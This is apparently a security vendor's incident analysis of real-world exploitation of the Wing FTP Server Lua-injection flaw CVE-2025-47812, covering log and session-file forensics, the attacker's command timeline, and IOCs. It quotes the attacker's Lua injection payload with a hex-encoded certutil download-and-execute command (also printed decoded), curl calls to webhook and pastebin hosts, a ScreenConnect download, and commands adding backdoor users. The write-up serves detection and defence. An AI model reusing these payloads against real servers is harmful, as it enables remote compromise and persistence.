Summary
TL;DR: Huntress saw active exploitation of Wing FTP Server remote code execution (CVE-2025-47812) on a customer on July 1, 2025. Organizations running Wing FTP Server should update to the fixed version, version 7.4.4, as soon as possible.
CVE-2025-47812 is a null byte and Lua injection flaw that can lead to root/SYSTEM-level remote code execution if exploited. The vulnerability was first publicly disclosed on June 30 by Julien Ahrens in versions prior to 7.4.4 of the Wing FTP Server, its file transfer protocol software for Windows, Linux, and macOS.
At a high level, CVE-2025-47812 stems from how null bytes are handled in the username parameter (specifically related to the loginok.html file, which handles the authentication process). This can allow remote attackers to perform Lua injection after using the null byte in the username parameter.
Huntress first observed exploitation on a customer on July 1, 2025, just a day after the initial write-up was published. Exploitation activity underneath the Wing FTP server process WFTPServer.exe began to ramp up at 16:15 UTC and is further detailed in our technical analysis below.
Figure 1: Process tree for the incident showing the involvement of WFTPServer.exe
Technical analysis
CVE-2025-47812 is centered primarily around the ability for an adversary to craft a specific input in Lua, the programming language responsible for the handling of the sessions created on Wing FTP. Sessions typically store the user's current directory, IP address, and username. By taking advantage of the null-byte injection, the adversary disrupts the anticipated input in the Lua file which stores these session characteristics. Further details of the vulnerability can be found in RCE Security’s write-up.
Huntress security researchers recreated a proof-of-concept exploit for this vulnerability, and a video demonstration is shown below:
The attack chain relies on a few specific components:
- A login attempt is made against the loginok.html endpoint via POST request.
- To create a session that is stored, the attacker must use an account that either has known credentials, or (if enabled) an anonymous account without a password so they can perform a proper authentication process.
- The username field is appended with a %00 null-byte, to break the string processing of the username for login, but inject follow-on characters to be interpreted as Lua code.
- This includes two closing square braces “]]” to close the syntax and keep that intact for the session object file, and newlines to inject new malicious Lua code.
- The username payload ends with two hyphens to comment out the original “]]” that would be leftover from the intended session object file.
- The Lua code is now injected into the session object files must be triggered by the application naturally deserializing that data -- which is done by another request to any other website page like dir.html
Logs for this activity can be found within the Wing FTP installation folder:
C:\Program Files (x86)\Wing FTP Server\Log\
Wing FTP organizes its logs into three folders:
- Admin
- System
- Domain
Evidence of exploitation can be found in logs within the “Domain” folder, but note that Wing FTP separates logs by the different domain names that this server handles, so the subdirectory name underneath this path varies. The logs are saved with a date format YYYY-M-D.log.
For example, a log entry from this proof-of-concept exploitation would be in the path:
C:\Program Files (x86)\Wing FTP Server\Log\Domains\wingftp.local\2025-7-7.log
With the contents:
[01] Mon, 07 Jul 2025 12:51:23 Domain has been started.
[01] Mon, 07 Jul 2025 12:51:24 FTP server starts listening on port 21.
[01] Mon, 07 Jul 2025 12:51:24 FTPS server starts listening on port 990.
[01] Mon, 07 Jul 2025 12:51:24 HTTP server starts listening on port 80.
[01] Mon, 07 Jul 2025 12:51:24 HTTPS server starts listening on port 443.
[06] Mon, 07 Jul 2025 12:56:26 (0000001) User 'anonymous
Using this log file alone, the only line that is indicative of exploitation is the truncated entry:
User ‘anonymous
Note the missing closing ‘ single-quote—this is the null-byte breaking the entry in the log file. In this case, the anonymous user was targeted because it didn't need credentials to log in, but any other valid username with a correct password could be used to create a session and leverage this vulnerability.
For a normal login, not an artifact of exploitation, that log entry naturally looks like:
User 'anonymous' logged in ok! (IP:::1)
…. including the IP address of the authenticating client. Unfortunately, that detail is truncated when the log is generated from an exploitation attempt—however, the IP address will be included in the session object files themselves!
You may also find a log entry stating:
List ok
This is from a user listing files on the FTP service, like when they visit dir.html. While this can be utilized in the attack chain and exploit, bear in mind the adversary could choose any other endpoint or functionality to trigger Wing FTP to load the stored session info.
The best source of truth to identify exploitation is reviewing the session object files themselves, named with 64 hexadecimal character filenames and .lua file extensions in this directory:
C:\Program Files (x86)\Wing FTP Server\session
Forensic artifacts
Since every interaction with a machine will ultimately leave some type of artifacts, we began analyzing the sessions currently stored on the compromised host. Several sessions stood out to us as anomalous, chiefly due to file size. The data stored in these sessions is relatively small, so inflated file sizes indicate the inclusion of additional information.
A typical session file may look as such:
_SESSION['username']=[[johndoe]]
_SESSION['ipaddress']=[[123.123.123.123]]
_SESSION['currentpath']=[[/]]
To contrast, our adversary passed a valid Lua function that contained a hex-encoded command, which is decoded and passed to Windows' cmd.exe:
_SESSION['username']=[[anonymous]]
local function hx(s)
return (s:gsub('..', function(x)
return string.char(tonumber(x,16))
end))
end
local cmd = hx("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865")
local h = io.popen(cmd)
local r = h:read("*a")
h:close()
--]]
_SESSION['ipaddress']=[[185[.]196[.]9[.]225]]
_SESSION['currentpath']=[[/]]
If we decode the hex blob in the hx() function above using Python, we get the following command, which was attempted to execute on the host:
% python3 -c 'print(bytes.fromhex("636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e6578652026207374617274202f42202554454d50255c6d76766569574a48782e657865").decode("ascii"))'
certutil -urlcache -f http://185.196.9.225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe
The main takeaway here is that while some of the fields remained similar to that which we saw in a normal session file, most of the function code stands out as something to investigate further.
Attack details
Observed attacker tradecraft
Early in the morning, around 8:43 am UTC, the first of several different attackers began scoping to see if they could connect to the victim’s machine. They made several connection attempts within a 12-minute time span. Almost an hour later, connections began from a second IP address, attempting several connection attempts.
Figure 2: Timeline of first series of the attacks
At this point, there was a bit of silence on the machine for a span of about six hours before the next attack began. Through examining a combination of process executions, Lua files, and log data, we were able to piece together a timeline of the attackers’ activities. It seems like the attacker (the fourth one we had seen this day) had a difficult time running some commands, maybe due to their unfamiliarity with them, or because Microsoft Defender stopped part of their attack.
We observed a number of enumeration and reconnaissance commands at around 16:15 UTC:
- C:\WINDOWS\system32\cmd.exe /c ipconfig
- C:\WINDOWS\system32\cmd.exe /c curl
- C:\WINDOWS\system32\cmd.exe /c arp -a
- C:\WINDOWS\system32\cmd.exe /c curl -help
- C:\WINDOWS\system32\cmd.exe /c whoami
- C:\WINDOWS\system32\cmd.exe /c nslookup
- C:\WINDOWS\system32\cmd.exe /c whoami -all
We also observed the adversary creating new users for persistence:
- C:\WINDOWS\system32\cmd.exe /c net user wingftp 123123qweqwe /add
- C:\WINDOWS\system32\cmd.exe /c net user wing 123123qweqweqwe /add
- C:\WINDOWS\system32\cmd.exe /c net user wing 123123qweqweq /add
They then seemed to check on details of users, perhaps to verify that their newly created users were there, and privilege information (in addition to a random arp -a command):
- C:\WINDOWS\system32\cmd.exe /c net user
- C:\WINDOWS\system32\cmd.exe /c net user /all
- C:\WINDOWS\system32\cmd.exe /c whoami
- C:\WINDOWS\system32\cmd.exe /c net user wing
- C:\WINDOWS\system32\cmd.exe /c arp -a
- C:\WINDOWS\system32\cmd.exe /c priv //all
- C:\WINDOWS\system32\cmd.exe /c priv /all
- C:\WINDOWS\system32\cmd.exe /c whoami priv /all
- C:\WINDOWS\system32\cmd.exe /c whoami /priv
The commands that followed were poorly constructed and failed. As seen in the following figure, the attacker tried to run an executable whose path was (errantly) c:^A.exe, where ^A represents the “Start of Heading” (SOH) character. It’s unclear how or why they even managed to type that out. There were also tabs in the paths for the test file where they had redirected their output for some reason, which resulted in failure:
Figure 3: Visual of just how badly typed some of these commands were
Figure 4: Confirming this typo with a hex editor, the SOH character is highlighted
The attacker then began continued “reconnaissance,” or more likely tried to test their access:
C:\WINDOWS\system32\cmd.exe /c powershell -c get-childitem c: | out-file c:dir.txt -encoding ascii; type c:dir.txt
The actor tested the use of curl, looked up how to use it, and actually tried to connect to a webhook site to track infections (which we verified was actually successful):
- C:\WINDOWS\system32\cmd.exe /c curl
- C:\WINDOWS\system32\cmd.exe /c curl -help
- C:\WINDOWS\system32\cmd.exe /c curl -s -d con https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81 > nul
While the webhook endpoint is now expired and offline, we could see the connection made from the target host, including the “con” keyword used as POST form data.
Figure 5: View of webhook showing the victim’s machine had successfully connected
After a couple more whoami commands, the attacker then tried to run a batch file, which failed since it wasn’t yet on the system. This made them check which user they were, yet again:
- C:\WINDOWS\system32\cmd.exe /c whoami
- C:\WINDOWS\system32\cmd.exe /c whoami /all
- C:\WINDOWS\system32\cmd.exe /c cmd.exe/c c:/1.bat
- C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat
- C:\WINDOWS\system32\cmd.exe /c whoami
A Lua file appeared on the system, which would have effectively downloaded the aforementioned missing batch file, except that they messed up the curl command. Also, the dir command that was included at the end is not a binary, but a built-in command internal to cmd.exe, so it wouldn’t have worked here either (a common mistake made by rookie attackers):
--]]t(r)) h:read(""*a"")rl -o c:\1.bat
https://pastebin.com/raw/vqqtr8mg& dir c:\"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
They then tried to run their batch file one more time. This must have been frustrating for them when it didn’t work:
C:\WINDOWS\system32\cmd.exe /c cmd.exe /c c:/1.bat
Figure 6: Attacker (probably) trying to figure out why they are failing
At this point, they opted for installing ScreenConnect, for a better experience that might have made them more successful. There was a Lua file to download the installer that appeared at this time on the system:
local h = io.popen(""curl -o c:\1.msi https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e]]
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
We recovered the MSI file from the download link, and extracted the connection string from it: instance-y9tbyl-relay.screenconnect[.]com. There was no evidence that they tried to run the MSI file or that ScreenConnect was installed. At this point, they may have “phoned a friend” since another attacker connected to the machine, as evidenced by Lua files with a different IP address. (This was the fifth attacker seen on this machine.)
The (fourth) attacker then ran PowerShell, but sadly, whatever they were trying to run in PowerShell crashed, as found in the Application Event Log (ID 1001):
C:\WINDOWS\system32\cmd.exe /c powershell.exe
So then they tried to run another beacon instead, as seen by the following Lua file:
local cmd = hx(""636572747574696c202d75726c6361636865202d6620687474703a2f2f3138352e3139362e392e3232353a383038302f454f70343565574c53703547355577705f794f436951202554454d50255c6d76766569574a48782e657865202620737461--]]ose() h:read(""*a""))55c6d76766569574a48782e657865"")
_SESSION['ipaddress']=[[185.196.9[.]225]]
_SESSION['currentpath']=[[/]]
As we mentioned earlier in this blog, this command is essentially downloading and execute the beacon using certutil:
certutil -urlcache -f http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\mvveiWJHx.exe & start /B %TEMP%\mvveiWJHx.exe
Unfortunately for the attacker, Microsoft Defender ate the resulting file before they could run it, and an alert with the following name was sent: Trojan:Win32/Ceprolad.A. At this point, WFTPServer.exe crashed, and disconnected the attackers, which was seen by the WerFault.exe process starting, against the PID of the WFTPServer.exe process, as well as entries at the same time in the Application Event Log with IDs 1000, and 1001, for WFTPServer.exe.
C:\WINDOWS\system32\WerFault.exe -u -p 3792 -s 4744
Thus concluded the painful journey of these attackers, as the machine was also isolated shortly afterwards.
Figure 7: Huntress Managed EDR and Microsoft Defender, after thwarting some wannabe attackers
Despite the threat actors’ unavailing activity, this incident shows that CVE-2025-47812 is being actively targeted at this point. While we’ve only seen exploitation activity on one customer as of July 8, 2025, organizations can best protect themselves by updating to version 7.4.4.
Special thanks to analysts, researchers, and all involved in response to this incident and their contributions to this blog: Tanner Filip, Matt Anderson, Craig Sweeney, and Alden Schmidt.
Sigma rules
Command Shell from Wing FTP Server
IOCs
Item |
Description |
223.160.131[.]104 |
1st Attacker IP |
149.248.44[.]88 |
2nd Attacker IP |
103.88.141[.]42 |
3rd Attacker IP |
185.196.9[.]225 |
4th (Bumbling) Attacker IP |
146.70.11[.]39 |
5th Attacker IP |
https://webhook[.]site/5d112487-6133-4942-ac87-3f473d44bd81 |
Webhook site |
123123qweqwe |
Password used for attacker accounts |
123123qweqweq |
Password used for one attacker account |
wing |
Backdoor username created by attacker |
wingftp |
Backdoor username created by attacker |
URL: http://185.196.9[.]225:8080/EOp45eWLSp5G5Uwp_yOCiQ %TEMP%\\mvveiWJHx.exe SHA256: c637ec00bd22da4539ec6def89cd9f7196a303d17632b1131a89d65e4f5698f4 |
Beacon |
Trojan:Win32/Ceprolad.A |
Microsoft Defender detection |
URL: https://oooooooo11.screenconnect[.]com/bin/screenconnect.clientsetup.msi PATH: c:\1.msi |
ScreenConnect installer |
instance-y9tbyl-relay.screenconnect[.]com |
ScreenConnect callback url |